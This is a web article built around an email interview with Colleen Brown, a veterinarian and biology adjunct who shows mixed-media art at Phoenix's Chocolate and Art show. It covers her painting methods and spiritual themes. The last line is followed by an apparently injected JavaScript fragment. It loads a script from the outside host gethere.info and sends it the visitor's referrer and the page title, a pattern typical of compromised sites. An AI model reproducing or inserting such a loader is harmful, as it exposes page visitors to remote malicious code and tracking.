Last month on September 22nd and 23rd, the Los Angeles based underground art show Chocolate and Art made its debut to the downtown Phoenix area at the Monorchid Art Gallery. With over 80 local up-and-coming artists featured, one of those featured artists happened to be Central Arizona College Adjunct Professor of Biology, Colleen Brown. A veterinarian and owner of Brown Veterinary Housecall Services, Colleen is also a very talented mixed-media artist who is starting to make a name for herself. After discovering who she was and where she came from, it was comically ironic that as a featured artist myself, that I’d end up displaying right next to her! I had the wonderful opportunity to learn more about Colleen and her goals through an interview conducted through email:

Q: When did you start getting into art, and how long have you been doing it?

BROWN: I’ve always been a creative person making arts and crafts with my mom my entire life. My creative journey that led me to where I am now started a little over one year ago. I’ve always felt a calling to make art. I answered that call by enrolling in online art classes and I’ve been painting ever since.

Q: What was your motivation or inspiration when you were first starting to paint?

BROWN: Aside from following my heart, my motivation to live a creative life was balance.

Q: Why did you start getting into art?

BROWN: I was very burnt out after running a local veterinary practice that I needed to find healing for myself. Sometimes the healer needs healing and art definitely heals. I find making art to be very meditative and therapeutic. So much so that it brought me back to my love of veterinary medicine. I am now finding new ways to combine my love of art along with the art and science of veterinary medicine.

Q: What kind of art do you create?

BROWN: I use mostly fluid acrylics, but I dabble in watercolors and oils as well. Most of my paintings consist of paint, paper, ink, marker, and even encaustics or wax. I adore putting vintage wall paper and old pages from books or sheet music in my art. Vintage ephemera and art supplies can be very addicting for a mixed media artist.

Q: How did you hear about the Chocolate and Art Show? Is this your first time showcasing your artwork?

BROWN: I learned about the Chocolate and Art Show from a fellow artist Instagram friend. We actually met for the first time in person at the show! The Chocolate and Art Show was my first show but my art has been available for purchase at The Angel Store in Old Town Scottsdale for some time now and I am one of the new artists at The Fountain Hills Artist Gallery.

Q: How did you feel about the show? What did you take from it?

BROWN: I thought the show was fantastic. The Monorchid is a great venue and there was a wide range of gorgeous art. I made new artist friends and even sold one of my paintings. It brings me great joy when I see that my art resonates with others. Ironically, the painting I sold I had contemplated painting over because it didn’t resonate with me. Glad I didn’t!

Q: Do you plan on continuing to showcase your work?

BROWN: I definitely plan on continuing to showcase my work as I believe part of my purpose is to share it with others.

Q: What is the overall message behind your work?

BROWN: Most of my art has a spiritual tone to it. I adore painting angels and love putting uplifting messages of hope in my work.

Colleen has recently been juried into the 6th Street Market Art Festival in Tempe, Arizona; along with two paintings being put on display this month at The Fountain Hills Community Center for American Craft Week. You can find her artwork on her website drskippyart.com, as well as purchase work from Society6.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;